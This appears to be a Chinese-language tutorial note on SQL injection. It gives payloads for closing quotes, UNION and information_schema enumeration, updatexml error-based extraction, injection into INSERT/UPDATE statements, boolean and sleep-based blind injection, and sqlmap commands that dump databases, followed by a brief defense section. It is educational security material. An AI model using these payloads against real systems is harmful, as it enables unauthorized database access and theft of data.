sql注入
SQL inject
数据库注入漏洞主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其执行,导致数据库信息泄露的一种漏洞。(关键是sql语句的字符串拼接)
攻击流程
-
注入点测试
自动:使用扫描工具如sqlmap
手动:构造sql inject语句进行测试如“‘”
-
信息获取
通过注入点获取期望得到的数据。
环境信息:数据库类型、数据库版本、操作系统版本和用户信息等。
数据库信息:数据库名称、表、字段、字段内容
- 获取权限
获取操作系统权限:通过数据库执行shell,上传木马
注入点测试
常见注入类型
根据输入的变量传入到sql语句中是以什么类型拼接进去的来分(这样有助于我们整理思路,sql语句我们大部分时间需要闭合,所以确定类型很重要(这只是其中一种分类方法))
- 数字型 user_id = $id
- 字符型 user_id = ‘$id’ (1’ or 1=1# 或者“-- ”注意空格注释掉后面空格)
- 搜索型 text LIKE ‘%{$_GET[‘search’]}%’ ()
拼接
-
数字型的拼接简单不需要考虑更多
1 or 1=1 (select column1,column2 from table_name where id = $id)
-
字符型需要考虑 ' " 的闭合,配合注释(注释掉后面的 ' ") #和'-- '使用
x' or 1=1# x" or 1=1# (select column1,column2 from table_name where name = '$name')
-
搜索型,字符串才能用搜索型,输入的是字符串并且是字段值的一部分
xx%' or 1=1-- (select column1,column2 from table_name where name like '%$name%')
有时候拼接不一定成功因为可能还用了括号什么的
我们测试的时候一般用and 1=1和and 1=2 确定 or 1=1 数据很多时候很差劲,可以先用‘ 来测试一下会不会报错。
不管是什么类型就是对各种类型的输入进行闭合测试,构造合法sql。
注释
信息获取
基于union联合查询的信息获取
0201003195328986.png)
上图是union的用法,字段数量必须相同,判断多少字段可以用二分法的order by 测试。
关于显示的问题,有的时候查询出的数据显示在不同位置我们一般不预测这些输出的数据是被怎么处理的,很难判断是哪个可以用select 1,2...来观察输出位置,替换成函数后页面哪个位置找了。
常用函数
- version()
- database()
- user()
- select @@global.version_compile_os from mysql.user;操作系统类型
总的思路
注入点确定了之后
- order by 判断字段数
- database()判断数据库实例名
- 获取数据库中的表名 union select table_schema,table_name from information_schema.tables where table_schema=‘database_name’
- 获取特定表中的列名 union select table_name,column_name from information_schema.columns where table_name = ‘table_name’
- 获取特定列中的数据 union select column1,column2 from table_name
基于函数报错的信息获取
原理
函数报错信息,函数中参数错误会报错误信息,如果参数本身是个表达式,那报错信息会把表达式结果报出来。也能获取信息。
'.22-MariaDB-1'就是version()的结果但是它不符合updatexm()函数的要求就把这个参数当错错误信息传递出来了。
常用函数
常用的报错函数有updatexml()、extractvalue()、floor()。当然这些前提是后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。
UpdateXML(xml_target, xpath_expr, new_xml)
参数 | 解释 |
---|---|
xml_target | 被替换的string |
xpath_expr | xpath位置也是string,支持表达式。 |
new_xml | String格式,替换查找到的符合条件的数据 |
报错信息为特殊字符、字母及之后的内容会吞一部分所以一般用select updatexml(1,concat(0x7e,version()),0);
concat连接字符串的处理一下0x7e时~的ascii16进制表达
当然version()和user()、database()可以被替换成执行的语句
select table_schema,table_name from ==information_schema.tables== where table_schema=‘*database_name*’
要注意两点上面的语句之间有空格需要()括起来,另外多行、多列的信息mysql是不报出来的可以用limit(n,1)一行一行显示出来,只能一个一个参数输出
剩下的和union的一样了利用的思路不变,手段变。
报错信息获取中的insert/update/delete
用户注册、更改信息的点就不是select语句了,insert/update/delete利用手段和select有些差别
正常的insert语句
insert into table_name (column1,column2,column3...) valuse(value1,value2,value3...)
利用的sql语句(在value处用or 报错的函数)
insert into table_name (column1,column2,column3...) valuse(value1 or updatexml(1,concat(0x7e,datanase())),value2,value3...)
不同的值类型需要不同的闭合方式
数字的很简单不用考虑更多
字符串就是 'value1' or updatexml(1,concat(0x7e,datanase()) or ''
前后都有''所以闭合语句就是 value1' or updatexml(1,concat(0x7e,datanase()) or '
value1' or updatexml(1,concat(0x7e,datanase()) or '
update delete 都是对value动手脚,都用or 利用流程一样,不赘述。
位置
不只是很明显的web功能的增删改查,http header 要是被系统用sql语句处理了也有可能造成注入,典型的如cookie和X-Forwarded-For什么样的注入却决于怎么处理一般cookie是select其他的insert居多。
暴力破解
不一定有权限读取information_schema这个数据库和下面的表,这个时候表名、列明都需要暴力破解了。可以用exists(select * from table_name),exists(select volumn from table_name)(table_name已经确定)对应字段需要字典可以用burp爆破一下。
盲注
盲注,就是没有回显的地方的注入,没有回显怎么信息获取呢?盲注和有回显的最大区别就是我们需要提供信息,通过逻辑和事件判定正确与否。
- based boolean
- based time
基于boolean的原理就是系统能判断正确与否,那我们就提供一些信息,让他告诉我们正确与否,这里面熵的值明显比有回显的高。
ascii(substr(database(),1,1))>112
database()通过substr处理就能获取一个字符通过ascii处理获得一个整数可以和整数相比来缩小范围到最终确定
不用ascii()处理结果是字符串在输入点处理起来可能有意想不到的效果最好是整数
基于时间的盲注,就是通过时间这个维度来确定sql语句逻辑正确与否。
if((substr(database(),1,1) = 'm'), sleep(5),null)
盲注手工的话实在太繁琐,一般确定了后就用工具就可以。
防护
代码层面
- 对输入进行严格的转义或过滤
- 使用预处理和参数化
转义和过滤对应一些特殊符号‘“ \ 等一般语言都会提供,本人觉得过滤没必要直接返回错误。
预处理,预处理是用占位符将sql语句交给数据库驱动先将语句编译然后再将用户输入整体当作参数通过索引数组传递,就不会造成sql语句拼接了。
网络层面
- 硬件WAF
- 云端防护(通过DNS CNAME流量先从云WAF过再到本地,需要注意不能通过IP直接访问网站必须通过云端再到本地防止绕过)
sqlmap
sqlmap先前写过文章,这里过一下经典步骤
- -u “url” --cookie=“cookie”//带上cookie对url进行注入探测
- -u “url” --cookie=“cookie” --current-db//获取数据库名
- -u “url” --cookie=“cookie” -D database_name --tables//获取表名
- -u “url” --cookie=“cookie” -D database_name -T table_name --columns //获取字段名
- -u “url” --cookie=“cookie” -D database_name -T table_name -C column1,column2 --dump//获取相应字段数据
- 还有一个post型常用的sqlmap -r request_file request_file可以直接copy burpsuite当中的请求。